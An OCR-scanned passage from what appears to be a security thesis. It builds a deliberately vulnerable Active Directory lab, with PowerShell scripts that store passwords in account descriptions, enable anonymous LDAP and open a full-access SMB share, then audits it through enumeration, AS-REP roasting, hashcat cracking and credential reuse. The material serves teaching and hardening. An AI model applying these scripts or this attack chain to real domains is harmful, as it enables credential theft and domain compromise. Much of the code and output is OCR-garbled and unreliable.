o Use Just Enough Administration (JEA) and Role-Based Access Control
(RBAC) 1,
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o Monitor changes to the local Administrators group and WinRM session activity.

o Restrict WinRM through Group Policies and firewall rules.

¢ Realism and justification

o Realism: High
This scenario is common in real-world environments where:

o Domain users are temporarily granted local admin rights and never removed.

o WInRM is enabled by default but lacks proper access control.

o There is little to no visibility on remote PowerShell activity or privilege
assignment.

Why it exists:

o Operational convenience in IT teams.

o Misconfigured Group Policies.

o Inadequate privilege delegation practices.

« Consequence if Exploited

o Complete remote control over the Domain Controller.

o Execution of any script or binary as Administrator.

o Credential harvesting, disabling of defences, and lateral movement.

o Can serve as an initial pivot for broader domain compromise.
This configuration was deliberately introduced to highlight how a standard domain
user — if granted inappropriate privileges and exposed services — can escalate to
full system control. It demonstrates the real danger of privilege abuse + exposed

services in enterprise environments.

Default Passwords in Account Descriptions

To emulate poor operational practices found in real-world enterprise environments,
several domain users were created using weak or common passwords that were

explicitly written into the Active Directory description attribute.

This presents a severe security risk, as most AD enumeration tools retrieve
description fields by default and are readable by any authenticated domain user,
making it trivial for an attacker to discover credentials without requiring elevated

permissions.
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Configuration and implementation

The following PowerShell script was used to create three user accounts with
predictable, insecure passwords. These passwords were also written directly in the
Description field:

# Load the Active Dilrectory module
Import-Module ActiveDirectory

# Users to be created
= @("Daniel","Steve","Larry")
sdomain = "tfm.lab"

# Weak or commonly used passwords
tpasswords = @(

"Winter2024!",

"Welcomel23!",

"SuperM4n”
)

# Create each user with password listed {n description field
for (51 = 0; %1 -1t Susers.Count; Si++) {
= Susers[$t]

WO T V[}

Su

spwd = §

Try {

New-ADUser -Name fuse
-SamAccountName §
-UserPrincipalName "$user@idomain®
-AccountPassword (ConvertTo-SecureString $pwd -AsPlainText -Force) °
-Enabled $true °
-Description “"Default password: Spwd" °
-PassThru |

Enable-ADAccount

Write-Host " Suser created with password 'Spwd' written in the description"
} Catch {

Write-Host " 4 Failed to create juser: $($_.Exception.Message)"
-

Figure 38 Creating insecure AD user descriptions via PowerShell

This setup allows any authenticated user to query AD and extract passwords from
account descriptions using tools such as:

o PowerView: Get-DomainUser -Properties description

o AD Explorer

o Native PowerShell: Get-ADUser -Filter * -Properties Description

Risk and exploitation

o Severity: High

o Attack Vector: Internal (requires basic authenticated user)
o Technique: Credential Exposure via LDAP Enumeration
o Tools: PowerView, BloodHound, ADExplorer
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Once an attacker gains access to any domain account, they can enumerate user

objects and read their descriptions, allowing them to:
o Instantly retrieve plaintext passwords.
o Attempt lateral movement to more privileged accounts.

Mitigation and recommendations

o Audit descriptions and other user attributes for sensitive keywords (e.g.,
“password”, “admin”, etc.).

o Never store credentials in AD attributes (including info, comment, or
description).

o Enforce strong password policies and automatic expiration via GPOs ©2

o Apply access control lists (ACLS) to limit who can read user properties in AD.

Realism and justification

o Realism: Very High
This misconfiguration is commonly found in environments where:

o Environments are quickly promoted from staging to production without
cleanup.

o Administrators store onboarding or temporary credentials in AD fields for
convenience.

o There is low security awareness regarding LDAP visibility.

Why it exists:

o Lack of proper operational standards.

o No audit procedures for attribute misuse.

o Misuse of AD as a credential store.

Consequence if Exploited

o Instant compromise of accounts through no-effort enumeration.

o Privilege escalation if affected users belong to high-privilege groups.

o Can serve as the initial foothold for further post-exploitation activities.
This scenario demonstrates how minor misconfigurations in AD hygiene can lead to
severe consequences, especially when combined with lateral movement techniques

or automation tools.
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Anonymous LDAP Queries

To simulate weak configurations frequently observed in legacy or poorly maintained
environments, anonymous LDAP access was explicitly enabled on the Domain
Controller by modifying the system reqgistry.

This change allows unauthenticated users to query the directory using tools like
LDAPsearch 3, nmap ¢4, or AD Explorer — without valid domain credentials. This
exposes the domain to unauthenticated reconnaissance, enabling attackers to
retrieve structural data such as OUSs, users, and groups.

o Configuration and implementation

The following PowerShell script was executed to enable anonymous LDAP access

by modifying the NTDS ©° service registry key:

# Enable anonymous LDAP queries on a Domatin ( ontrolle

= "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"

Try {
Set-ItemProperty -Path §reaf -Name “Allow Anonymous Access" -Value 1 -Type Dword
Write-Host "B Anonymous LDAP access enabled (requires NTDS service restart)”

} Catch {
Write-Host “X Error modifying registry”
Write-Host $_.Exception.Message

Figure 39 PowerShell script to enable anonymous LDAP access via registry modification

After this modification, a restart of the NTDS service or reboot of the Domain
Controller is required for the change to take effect. Once applied, LDAP queries from
unauthenticated systems are permitted, exposing directory metadata to potential
attackers.

¢ Risk and exploitation

o Severity: High

o Attack Vector: External (Unauthenticated network access)

o Technique: Directory Enumeration via LDAP

o Affected Component: NTDS Service on Domain Controller
This misconfiguration permits unauthenticated enumeration of:

o Domain users and groups

o Organizational Units (OUSs)

o Group memberships

o Service accounts
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e Tools commonly used:
o LDAPsearch
o AD Explorer
o Custom PowerShell scripts
o nmap --script LDAP*

« Mitigation and recommendations

o Disable Anonymous Bindings:

Set Allow Anonymous Access back to 0 and restart the NTDS service.
« Enforce LDAP Signing:

Use Group Policy to reject unsigned LDAP requests by setting

controller: LOAP signing requirements < Require signing

¢ Audit and Monitor:

Regularly scan registry keys for insecure configurations using PowerShell
baselines or centralized configuration management tools.
e Tools for detection:
o PingCastle
o AD ACL Scanner
o Custom scripts with Get-ltemProperty 66

o Realism and justification

o Realism: Moderate to High
While less common in modern environments, this configuration is still found in:
= Upgraded legacy domains (e.g., Windows Server 2003 — 2016+)
= Hybrid environments where old applications still depend on anonymous
LDAP
= Misconfigured security baselines during rushed deployments
Why it exists:

o Backward compatibility requirements

o Registry misconfiguration by untrained Administrators

o Lack of GPO enforcement

¢ Consequences if exploited

o Unauthorized users can gain read-only insight into the domain’s structure.
o Valid usernames and groups can be harvested, aiding:
= Password spraying attacks

= Targeted phishing or social engineering
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= Credential brute-force and lateral movement

This attack path provides a stealthy, low-noise vector that avoids authentication logs,

making it highly desirable for threat actors in early attack stages.

Public SMB Share with Full Access

To simulate risky configurations commonly observed in smaller or poorly secured

environments. An unauthenticated SMB share was configured with Everyone: Full

Control, replicating a frequent misconfiguration observed in small and medium-sized

business (SMBSs).

The share \DC1\PublicShare was configured with:

o Full NTFS ¢7 permissions for the Everyone group

o Unrestricted SMB 8 access, meaning any user (authenticated or not) can read,

write, or modify its contents.

o Configuration and implementation

The following PowerShell script was used to configure the insecure share:

# Create a shared folder accessible by all users (including unauthenticated ones)

tshareN = "PublicShare"
$path = "C:\PublicShare"

# Create folder
Lf (-not (Test-Path fpath)) {
New-Item -Path Spat
Write-Host * Folder created:

}

# Grant NTFS permissions to Everyone
/grant “Everyone:(O0I)(CI)F" /T
"@8 NTFS permissions granted to Everyone"

icacls dpatl
Write-Host

# Create the network
New-SmbShare -Name &

if it does not exist

share with full
| -Path ¢
Write-Host "4 Shared folder as "\\¢

-ItemType Directory -Force

access
-FullAccess Everyone

COMPUT ,],“_1'!5\' hareName"'

with full access"

Figure 40 Creating insecure public SMB share configuration

Once executed, the system exposes C:\PublicShare as a writable network share

accessible without restrictions, representing a high-risk configuration.
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Risk and exploitation

o Severity: High
o Attack Vector: Internal and potentially External (if guest access is enabled)
o Technique: File planting, script manipulation, malware staging
o Affected Component: SMB File Sharing Service
Possible attack vectors:
o Dropping and executing malicious scripts or DLLs
o Overwriting legitimate files for privilege escalation
o Credential theft via login scripts or hijacked config files
o Data exfiltration through a public export path
Mitigation and recommendations
o Audit SMB Shares

Use tools like PowerView, SharpShares ©°, or ShareEnum ° to identify

misconfigured shares.

o Apply Least Privilege Access
Remove Everyone and replace with tightly scoped groups (e.g., Authenticated
Users - Read Only).

o Disable Guest/Anonymous Access

Via Group Policy:

Computer Configuration >
Administrative Templates >
Network >

Lanman Workstation >
e insecure guest logons - Disabled
-
o Enable Logging and Monitoring
Use advanced audit policies to track file access, modification, and unexpected
connections to shared folders.

Realism and justification

o Realism: Very High
This misconfiguration is frequently observed in:
=  SMBs with limited IT staff or policy enforcement
= Environments with legacy scripts or printer driver sharing

= Ad-hoc developer shares that are never properly decommissioned
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Why it exists:

o Convenience during development or troubleshooting

o Misunderstanding of access scope (confusing "Everyone" with "Domain
Users")

o Lack of security validation on new shares

« Consequence if exploited

o Remote Code Execution via dropped malicious executables or scripts
o Privilege escalation through hijacked login/startup scripts
o Worm or ransomware propagation
o EXxfiltration of sensitive data or tampering with internal documentation
This setup simulates how a simple share misconfiguration can evolve into a powerful

entry point for attackers, often without triggering alerts or being noticed by defenders.

SMB Signing Disabled

To weaken the domain security posture and simulate common enterprise

misconfigurations, SMB signing was explicitly disabled on both the client and server
sides. SMB (Server Message Block) is a core protocol used for file sharing, remote
management, and Active Directory replication.

SMB signing ensures the integrity and authenticity of SMB traffic. Disabling it allows
attackers to intercept and tamper with communications — enabling techniques such
as NTLM " relay and man-in-the-middle (MITM) 7! attacks.

o Configuration and implementation

The following PowerShell script was used to disable SMB signing:

Figure 41 Disable SMB Signing through PowerShell
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Disabling SMB signing removes integrity verification, allowing adversaries to intercept

and manipulate SMB traffic.

Risk and exploitation

o

o

o

o

Severity: Critical

Attack Vector: Internal (no special privileges required)

Technique: NTLM Relay / MITM over SMB

Affected Component: SMB Protocol (LanmanWorkstation’3 & LanmanServer’#

services)

Exploitation Scenarios:

o

o

Capture and relay NTLMv2 7° hashes with tools like NTLMrelayx.py,
Responder’®, or Inveigh 77
Trick privileged users (e.g., Domain Admins) into initiating SMB connections
and gain elevated access

Tamper with SMB traffic to inject malware or redirect communications

Mitigation and recommendations

o

o

o

o

Enforce SMB Signing via Group Policy:
= Client Policy:

‘ Microsoft network client: Digitally sign communications (always) - Enabled

= Server Policy:

‘ Microsoft network vers Digitally sign communications (always) — Enabled

Audit SMB Traffic:
= Monitor for unsigned packets using Wireshark, Event Logs, or SIEMs
= Look for patterns of NTLM relaying or spoofed connections
Disable NTLM Authentication:
= In modern environments, enforce Kerberos-only authentication
wherever possible
Use Defender for Identity / MITM Detection Tools:
= Detect relay and downgrade attacks across your AD infrastructure

Realism and justification

o

Realism: Extremely High

= This misconfiguration is frequently encountered due to:
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= Legacy compatibility with older Windows versions or network

appliances
= Admins disabling it for performance gains or troubleshooting
= Test or dev environments promoted to production without security
review
= Lack of awareness about the security importance of SMB signing
Even Microsoft has highlighted this issue in official security baselines and CISA
advisories.

Consequence if exploited

o Full Domain Compromise: Relay attacks "® can impersonate any privileged
user
o Credential Theft: Capture of NTLMv2 credentials for offline cracking or replay
o Lateral Movement: Attackers can pivot within the network, executing
commands, dropping payloads, and exfiltrating data
This setup was intentionally deployed to illustrate how a single registry
misconfiguration can open the door to devastating attacks, making it a top priority for
hardening in production domains.

Table Resume of vulnerabilities

# Vulnerability Technique/Attack | Criticality Notes / Realism
. Exploitable without
1 AS-REP Roasting GetNPUsers.py, High credentials; common in
Rubeus
legacy systems.
5 Kerberoastin SPN abuse, Critical Needs auth; common in
9 GetUserSPNs.py weak service accounts.
Dnsadmins Privilege | DLL injection via reg " Full SYSTEM access;
3 Critical : o
Abuse key misused permissions.
. Grants domain hashes;
4 DCSync Rights secret_sd_ump.py, Critical = common in misconfigured
Assigned to User Mimikatz ACLs
Evil-WIinRM Access . . " Enables full RCE as
5 with Privileged User WinRM + local admin = Critical SYSTEM.
Default Passwords PowerView . Easy to spot, serious if
6 ) o ; High
in Descriptions enumeration reused passwords.
Leaks directory info;
Anonymous LDAP LDAPsearch, nmap High uncommon but
Queries Enabled d
angerous.
8 Public SMB Share SMB share High Data exfiltration, RCE
with Full Access exploitation 9 possible via drop/exec.
9 SMB Signing NTLM relay, Critical Enables MITM and full
Disabled Responder relay attacks.
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Laboratory Audit

Enumeration
The enumeration phase focuses on collecting as much information as possible from
the target system while avoiding detection. This includes identifying exposed
services, open ports, operating system details, authentication mechanisms, and
potential usernames within the domain.

o« Network and Service Discovery

Initial connectivity was validated using ICMP echo requests to ensure that the

attacking machine (kali) could reach the Domain Controller (DC) at 10.80.80.2:

) ping -¢ 1 10.80.80.2
PING 10.80.80.2 (10.80.80.2) 56(84) bytes of data.
64 bytes from 10.80.80.2: icmp_seg=1 tt1=127 time=9.747 ms

10.80.80.2 ping statistics -
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0.747/0.747/0.747/0.000 ms

Figure 42 Connectivity test using ping

Once connectivity was confirmed, a port scan was conducted using nmap to identify
open TCP ports and associated services:

) map Io1h,50,88.2
PORT STATE SEAVICE VERSION
3/tcp  open dosain Sinple ONS Plus
/tcp  open kerberps-sec Microsoft Windows Xerberos |server time: Jo¢ . :48:172)
1i5/tcp open narpc Microsoft Windows RPC
a/tcp  open melblos-ssn MLCrosatt Windows netdios-ssa
Jitcp open  ldap Microsoft Mindows Active Directory LDAP (Domain: tfm. labB., Site! Default-First-Site-
Nave |

145/tcp open microsoft-ds?
ioi/tcp open  kpasswdS?
I/tcp open ncacn_bhttp  Microsoft Mindows RFC over HTTP 1.8

i/tcp open ssl/Ldap Microsoft Mindows Active Directory LOAF (Domain: tfm.lab#., Site: Default-First.Site-

h‘h"?:up open  ldep Microsoft Windows Active Directory LOAP (Domasin: tfm, labl., Site: Default-First-Site-

N‘""E‘JKLD open  ss1/1dap Microsoft Mindows Active Directory LDAP (Domaln: tfm,1abB., Site: Default-First-Site-
N.‘v"‘.?fltrp open  http Microsoft HTTPAPT httpd 7.8 (5509/1PnF)
/tcp open  htip Mlcrosoft HITPAPL httod .8 (SSDP/UPHP)

Service Info: Host: DC1; 05: Windows; CPE: cpe:/oislcrosaft:windows

Figure 43 Network scan of DC using nmap
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The results revealed several services critical for Active Directory environments:

o DNS (53/tcp)

o Kerberos (88/tcp)

o MSRPC 7° (135/tcp)

o SMB (139/tcp, 445/tcp)

o LDAP / LDAPS (389/tcp, 636/tcp)

o Global Catalog &° (3268/tcp, 3269/tcp)
OS fingerprinting results, from RPC 8! and HTTP headers, confirmed that the target
host was running Windows Server 2022, validating its role as the primary Domain
Controller.

SMB Enumeration

Next, the tool CrackMapExec was used to extract additional metadata from the SMB

service:

) cracknapexec smb 88.88.2
MB 89.80.2 Dcl A WAndows Server Bulld 264 (nare:DC1)
(dosain:tin. lad) (signing:True) (SNBv1:False)

Figure 44 SMB metadata enumeration using CrackMapExec

This revealed:

o Hostname: DC1

o Domain: tfm.lab

o SMB Signing: Enabled
o SMBv1: Disabled

While SMB Signing was reported as active, further testing would be necessary to
determine whether it is strictly enforced. The absence of SMBV1 is a positive baseline

configuration against known exploits like EternalBlue 2.

To test for accessible shares via anonymous login, the following command was

executed:

Figure 45 SMB Enumeration
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Although the login succeeded anonymously, no shared folders were listed. This

suggests that either:

o No SMB shares are accessible anonymously, or
o SMB version mismatch prevented enumeration.

User Enumeration via Kerberos

The next objective was to identify valid domain users. For this, the tool Kerbrute was
used in combination with a small custom wordlist derived from SecLists 83 xato-net-

10-million-usernames.txt:

Figure 46 Kerbrute

Out of 9 usernames tested, 5 were confirmed to be valid. This technique exploits the
discrepancy in Kerberos KDC (Key Distribution Centre) 8 response between valid
and invalid usernames, allowing enumeration without triggering authentication logs.
The effectiveness of this technique is rated Low to Medium in terms of criticality, as

it does not grant access, but leaks valuable domain user information.
Such enumeration is common in real-world environments unless mitigated through:

o Pre-authentication requirements for all users
o Account lockout policies

o Log monitoring (e.g., Kerberos Event ID 4771)
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Exploitation
Once valid domain users have been discovered through enumeration techniques, the

next step is to explore potential paths for gaining unauthorized access. This phase
includes leveraging exposed credentials, misconfigurations, and weak access
controls to obtain a foothold inside the Active Directory environment.

e AS-REP Roasting Candidate Discovery

After discovering charlie.george as an AS-REP Roasting candidate, a hash was
extracted using GetNPUsers.py and subjected to offline cracking with Hashcat (mode
18200) and leveraging the well-known rockyou.txt wordlist.

) python3 GethPUsers.py tfm. lab/ users.txt 0] § 1. 69.88.2
Inpacket v8.12.84 - Copyright Fartra, LLC and tts affiliated cospanies

[-] User aoministirator dossn't have UF_DONT _REQUIRE PREAUTH et

[-] Kerberos SessionError: KDC_ERR_C_PRINCTIPAL _UNKNOWN(CLiant not found \n Xerberos database |
SkrbSasrepsZischariie. geor ge@TFN, LAB: 6e2ac 9595010842 TheadBedh 1297476396104 16230536bT0ae3e0659596 1 cidBebbC
SAbbTIITIaT126c 3054089837 30c 012289706308 fa)

422¢cfBcec?743e5ch 228600 bbd BEDASRdRd f b35aS9884 355 T TD3dB6 T F2532 7RBLE 3T TIFSc 16HRSe Y Bedealdd

1424cebe

0538 hBETAc0e 1e2d60b8TH1003a5943076 14864 C 295556 1RIITSASCHIA1DeCZTID2C9520782ce 1050 €628 3eaebcShab
21 6eS4ed73coeaa35a9111215e 1300 de32e 2 19969045

User sve-backup dossn't have UF_DONT_REQUIRE _PREAUTH set
User syc-sync doesn't have UF_DONT_REQUIRE PREAUTH set

-] Kerberos SesstonBrror: KDC_ERA_C_PRINCIPAL _UNKNOWN(CLient not Tound \n Kerberos database)
User jparker doesn’'t have UF_DONT_REQUIRE_PREAUTH wet

-] Invalle principal syntax

10783723 10125155 «» Done!l Tested ¥ usernames (5 valid) in 9.021 seconds

Figure 47 GetNPUsers.pYy

o Offline Hash Extraction

The retrieved hash was then subjected to a brute-force attack using Hashcat with the

rockyou.txt wordlist:

)} hashcat 18200 ascep_hash.tat Jusr/share/wordlists/rockyou, txt

3 P LQeargedTINL.LAR: edeZaa5055 1d82b ToeMuG fScUTdToS MG A1d 2 Ine s M0 The JaBe 558 f cidbelic
D4dLT3ITIITAL1 3263004049983 7cas0122887036034r 807
422cf0e227c79dd5eD4RCBE20250E5 bbed THEBeBLIIGLT 152 00a3SSC IT20ThIBATAr 2523 7EREIAI JITEC THE3BeSDeden2831
AU20peS5aA TR2302TAS3TERSE TLTSCC980 Tid At 3Me

BS316cE8d7aB8 T 10220608870 1 B3425043d0C 7164860 2955an TEASMIES A1 Ahec 27012 CAS 2B TENRC IR5abcehaZhiasachSha
h26fe54ed?Icdcaa350011 121501 3900032020 19960005

RaBdZr 206 TR T0n 3030648 1R TAaTAT253EIR20] FUSATC 73462 CO9U25cnb LB6LYCH Passwur d1231

Sesslon. ... .aa hashcat

Statuy = Crocked

Hash . Mode, . ., (Kerberos 5, atype , AS-REP)

Nosh.Target. . ... L v AprorgeRTEN, LAD:ede2aa895991002 . ., 088dch
Time Started, . .. Sun Mor 55:21 (® secs)

Tise. . Estiratad. ..z Sen War 11155:21 (& sace)

Kernel Feature Pure Kernel

Guess Base, ., 0y : File (Zusc/shareswordlists/rockyou, tat )

Guess. Queum, ... SRR U R ]

Speed. 71 376, % kH/s 19.08n § Aecal: 290 Loopssl Thril Vec:s
Recovered, oo T 11 {108,004 Digests (total), 1/1 (109,868%) Digests (new)
Progress.....ccaq /1434380 (0. 00%)

Rejected, i (312 (0.90Y)

Aestore, Foint. .. /1433380 (9.09%)

Rectore.Sub.21. Sattin Aapisfier;1-1 Tterattonif-I

Candidates. 21, ., 123450 = Maarking

Nardwsre. Mon, #1 ULl 518

Started: Sun Mar I 155118 2

Stopped: Sun Mar 3 155:22

Figure 48 Hashcat
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The password was successfully cracked, revealing Password123! as the password

for the user charlie.george. This confirms that the account is both vulnerable and

actively exploitable.

Accessing SMB Resources with Recovered Credentials

After retrieving the password for charlie.george was obtained, authentication against
the SMB service of the Domain Controller (10.80.80.2) was tested using smbclient:

} wsocllent //16.88.88.2 chariie.george
Passoword f WREXGROUP charlie. george)

Sharenane Type Comment
ADMIN
IFC

NETLOGON Dich
FublicShare

rror NT_STATUS RESOURCE MAME NOT FOUND |

Figure 49 Login SMB with charlie.george credentials

The result revealed access to several standard and custom shares, including:

o ADMINS$ — Remote administration share.

o C$ - Default administrative share.

o IPC$ — Inter-process communication.

o NETLOGON - Logon scripts.

o SYSVOL 24— Group policy data.

o PublicShare — Custom public folder exposed during lab setup.
This validation confirmed access to several standard shares such as NETLOGON,
SYSVOL, and a custom share named PublicShare. The presence of these resources
is common in Active Directory environments and often reveals sensitive
configurations, scripts, or backup files.
On the other hand, as expected, the connection attempt using SMB1 for workgroup
enumeration failed. This is a normal behaviour, as modern environments typically use
SMB2 or SMB3, and SMBL1 is deprecated.
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« Discovery of Password Reuse in Public Share

Leveraging the same set of credentials, the PublicShare directory was accessed

interactively:

Y snbclient //16.86.80,2/PublicShare charlie.gearge
Password for [WORKGROUP\charlie.george]:

Try *help” to get & List of possible commands.

sob: \> Is

D ) Sun Nar
‘i DHS 0 Sun MNar
credentials. txt A Sun Mar

blacks of size 406E, ) blocks available

snbi \» get credentials, txt

getting fille \credentials.txt of zize as credentlals.txt.txt (1.2 KiloBytes/sec) [average 1.2 Kilo8ytes/sec)
smb: \> exit

) cat credentials.txt. txt

| Fille: credentials.txt

Figure 50 PublicShare directory

The file contained a note explicitly stating: “I use the same password as svc-sync”,
revealing critical password reuse.

This revealed a case of password reuse, a common security weakness in enterprise
environments where service or privileged accounts share credentials with standard
users. This disclosure pointed directly to the svc-sync account, previously
enumerated in the domain.

¢ Reuse of Credentials for Privileged Service Account

An authentication attempt was made against the Domain Controller using the svc-

sync username and the previously discovered password:

) crackmapexec smb ,80.80,2 SVC-sync Passwordl23
SMB 10,88.80.2 =] X1 [*] Windows Server 2422 Build

SMB .68.80.2 J <1 [+] tfm, lab\svc-sync:Passwardl23!

Figure 51 Authenticating with CrackMapExec

Authentication was completed successfully, confirming that the service account svc-
sync shared the same credentials as charlie.george. Although no elevated privileges
were yet confirmed, this established a second authenticated entry point into the
domain.
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Group Membership and Privilege Discovery (svc-sync)

Once the svc-sync credentials were confirmed as valid, the next logical step was to
identify the privileges assigned to this account. Using CrackMapExec with the --
groups flag, we enumerated all domain groups and confirmed that svc-sync is a
member of the SyncOperators group — a custom security group configured earlier in

the environment.

) crackmagexec sab (9.80.80.2 - svc-sync - Passwordi23l

SHE 10.80,88.2 14! 1 [*] Windows Server [#27 Butld 28141 x64 (name:DC1)
[domain:tfn.lab} {stgning:True) (SMAv1:False)

SHB 19.80.68, 15 1 [+] tfm.lab\svc-sync:Passwordi2d)

SHB 10.80.88. 145 Dl [+] Enumerated domailn groupl(s)

SMB L0, 25 DCl SyncOperators menbercount: |
SHB 1n,.80, X1 DHCP Administrators nembercount: |
SMB 10,80, <1 OHCP Users nembercount:
SHB L.80, pc1 OnsUpdateProxy membercount:
SHB n.80, X1 DnsAdmins membercount: |
SMB 10,80, 01 Enterprise Key Admins nembercount: &
SHE ! 1 Key Admins nembercount: #
01 Protected Users nembercount: §
X1 Cloneable Domain Controllers nmembarcount:
01 Enterprise Read-only Domain Controllers nembercount: #
pC1 Read-only Domain Controllers nembercount:
©1 Denied RODC Password Replication Group nembercount: ¢
0C1 Allowed ROOC Password Replication Group nembercount:
08| Terminal Server License Servers nembercount: ¥
X1 Windows Authorization Access Group nembercount:
(19| Incoming Farest Trust Builders nembercount: A
1 Pre-Windows “0%¢ Compatible Access nenmbercount:
1 | Account Dperators nembercount:
1 Server Operators nembercount: |
1 RAS and TAS Servers membercount: ¥
x1 Group Policy Creator Ouners nenbercount :
1 Domain Guests nenbercount :
1 Domain Users nenbercount :
x1 Domain Admins membercount: |
€1 Cert Publishers nenbercount: &
ol Entergrise Adnins nenbercount: |
1 Schema Admins nenbercount:
el Donatn Controllers nenbercount: |
1 Domaln Computers nenbercount:
1 Storage Replics Administrators nenbercount: ¢
{1 Renote Managenent Users nenbercount: &
1 Access Control Assistance Operators penbercount:
18] Hyper-V Administrators nenbércount: ¢
oKl ADS Management Sarvers menbercount: &
1 ROS Endpoint Servers nenbercount :
X1 RDS Renote Access Servers nenbercount: #
K1 Certificate Service DCOM Access menbercount: #
ol Event Log Readers penbercount:
1 Cryptographic Operators nembercount: @
X1 115_IUSRS penbercount:
ol Distributed COM Users menbercount:

SHB
SMB
SHE
SHE
SHB
SHE

2
2

88.2

68.2

B8.2

68.2

g8.2

88.2
88,2
.88.2
.58.2
68,2
88,2
.88.2
08,2
88,2
.88.2
88,2
.68.2
.68.2
88,2
88,2
-B8.2
08,2
-88.2
88,2
88,2
.88.2
68,2
88,2
.83.2
-08.2
.88.2
08,2
-88.2
B8.2
.08.2
.88.2
.B8.2
-88.2
-B8.2
.88.2
.88.2

Figure 52 Group enumeration

The command confirmed that svc-sync was a member of a custom security group
named SyncOperators. This group had previously been granted replication privileges
over the domain using custom Access Control Entries (ACEs) 8, specifically:

o DS-Replication-Get-Changes

o DS-Replication-Get-Changes-All

o DS-Replication-Get-Changes-In-Filtered-Set
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These permissions allow the user to replicate sensitive directory data, including

password hashes from any domain account. This effectively enables the svc-sync
account to perform a DCSync attack.

DCSync Constraints and Interactive Access Limitations

Despite possessing replication rights, the svc-sync account was not part of the
Administrators or Remote Management Users groups on the Domain Controller.
Therefore, when attempting remote code execution using Evil-WinRM, the

connection failed with a WinRMAuthorizationError.

Y avii-winrm 88.50.2 SVC-sync Passwordi2i!
EviLMInEN shell v3.7

Marning: Remote path coapletions Ls disabled due to ruby limitation: undefined method
quoting detection proc Tor module Rellne

Data: For sore information, check Evil-Win@M GitHub; ‘nx:w:v'.'qn'mt.:cn.’Na:‘v.ulav:",v'r-.-‘.1 vinmaf=ants
xoletLlon

info: Establishing conpection to resote endpoint
Errori An error of type WinfM: :WinfMAuthorizationError happened, sessage (s WinfM: WinRMAuthorizetionError

Error: Exiting with code

Figure 53 WinRM connection failed

This limitation illustrates a key concept in Active Directory: domain-level privileges do
not automatically translate to local administrative access, and the ability to interact

with systems remotely still depends on local group memberships.

This behaviour, although restrictive in one aspect, still leaves the domain at critical

risk due to the replication capabilities granted via ACL misconfiguration.

Identification of Additional AS-REP Roasting Candidates

With continued access via the svc-sync account, the script GetNPUsers.py was
executed again, this time revealing two accounts configured without Kerberos
preauthentication:

o charlie.george

o svc-backup

3 python3 GetdPUsers,py tie, Lob/sve-sync:Passwordl 23t 08,08.2

Ispacket w3.12.6 Copyright Fortra, LLC and 1ts affiliated companies

Kazeo Merbar0? Fasswordlastsat Lastlogon Wl
charlle.george 22:16,638861 (45:38.516090]1 Ox 400260
svc-backup =Backup Operators =Butlltin =tfm [C=lab 44:10.845618 46:38 565068 0x4827%¢

Figure 54 AS-REP Roasting Candidates
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Analysis results indicated that both accounts responded with encrypted AS-REP

messages, confirming that the UF_DONT_REQUIRE_PREAUTH flag was enabled.
These messages could be cracked offline to recover additional passwords without
generating alerts.

Both accounts showed recent login timestamps and a UserAccountControl value of

0x400200, confirming that they were active and not disabled.

Remote Enumeration via RPCClient

To expand user and group enumeration beyond previous Kerberos-based
techniques, the rpcclient tool was utilized with the credentials of the compromised
user charlie.george. This tool interacts with the Remote Procedure Call (RPC)
services over SMB, allowing deeper inspection of Active Directory data exposed by
the DC.

) rpcclient charlie.george 10.80.88.2

Password for [WORKGROUP\charlie.george]:

rpeclient enumdomusers

user:[Administrator] rid:[Bxif4]

user:[Guest] rid:jexits)

user:[krbtgt] rid:{éx1f6}

user:[domain.admin] rid:[0x451]

user:[jparker] rid:|®x452]

user:[esparrow] rid:[8x453]

user:[eva.steve] rid:[¥x456]

user:[eva.frank] rid:[8x457)

user:|[frank.george] rid:[0xd458]

user:[steve.steve| rid:[0x459)

user:[charlie,george] rid:[0x45a]

user:[svc-backup] rid:[oxd5b]

user:[dnsadmin] rid: [#x45c]

user:[svc-sync] rid:|[@x45e]

user:[Daniel] rid:[#x45f]

user:[Steve| rid:|ox468)

user:[Larry] rid:j@x461]

user:[Carol| rid:[®x462)

rpcclient §- enumdomgroups

group:[Enterprise Read-only Domain Controllers| rid:

[0x1f2]

group:[Domatin Admins] rid:[ex208]

group: [Dopain Users| rid:[8x201]

group: [Dopain Guests) rid:[0x202)

group: [Domatn Computers) rid:[0x2083]

group: [Domain Controllers) rid:[0x204)

group: [Schema Admins] rid:[0x206]

group: [Enterprise Admins] rid:[8x207)

group: [Group Policy Creator Owners] rid:[@x268]

group: [Read-only Domain Controllers) rid:[@x269]

group: [Cloneable Domain Controllers] rid:[@x28a]

group: [Protected Users) rid:[0x20d)

group: [Key Admins| rid:[8x20e]

group: [Enterprise Key Adnins] rid:[0x26f)

group: [DnsUpdatefroxy] rid:[bxdde]

group: [SyncOperators| rid;[8x45d]

rpcclient §- querygroupmen 0x208
rid:[@x114) attr:[Bx7])
rid:[@x451] attr:[8x7]

rpeclient & querygroupmen Oxdde

rpeelient querygroupmen B8x45d
rid:[@x45¢} attr:[0x7]

rpcclient

Figure 55 RPCClient analysis
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Once authenticated, several commands were executed to enumerate domain users

and groups.
Users Enumeration
The enumdomusers command revealed a comprehensive list of users within the
domain, including:
o Built-in accounts: Administrator, Guest, KRBTGT
o Service accounts: svc-backup, svc-sync, Dnsadmin
o Domain admins and regular users: domain.admin, jparker, esparrow,
charlie.george, etc.
This technique exposes a broader view of the user landscape, including accounts not
previously identified through Kerbrute or AS-REP Roasting, such as:
o eva.steve, eva.frank, steve.steve, carol, and others.
Groups Enumeration
The enumdomgroups command listed all domain groups, including high-privilege
groups such as:
o Domain Admins (RID: 0x200)
o Enterprise Admins (RID: 0x207)
o Schema Admins, DNSUpdateProxy, and SyncOperators
Group Membership Queries
This revealed that:
o Administrator and domain.admin accounts are members of the Domain
Admins group.
o The svc-sync user was confirmed as a member of the SyncOperators group.
o The svc-backup user appeared under DNSUpdateProxy, likely due to its role
in managing DNS-related services.
This technique reinforces the privilege mapping of compromised accounts and helps

identify potential lateral movement paths based on group memberships
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Share Enumeration and SYSVOL Inspection

Using the credentials of the svc-sync user, share enumeration was performed to

identify accessible resources on the Domain Controller.

Y crackmapexec spb 19.80,80.2 u svc-sync -p Passwordl23! lares

SN 10.80.88,2 [*] Windows Server 2022 Build 20340 x64
(name:DC1) {domain:tfm, lab) alse)

SNE 10.88.88.2 1,8 [+] tfm.lab\svc-sync:Passwordl23!

SM8 16.88. $45 {+] Enumerated shares

SNg 10.86. Share Permissions Remark

SM8 10,80, ADMIN: femote Admin

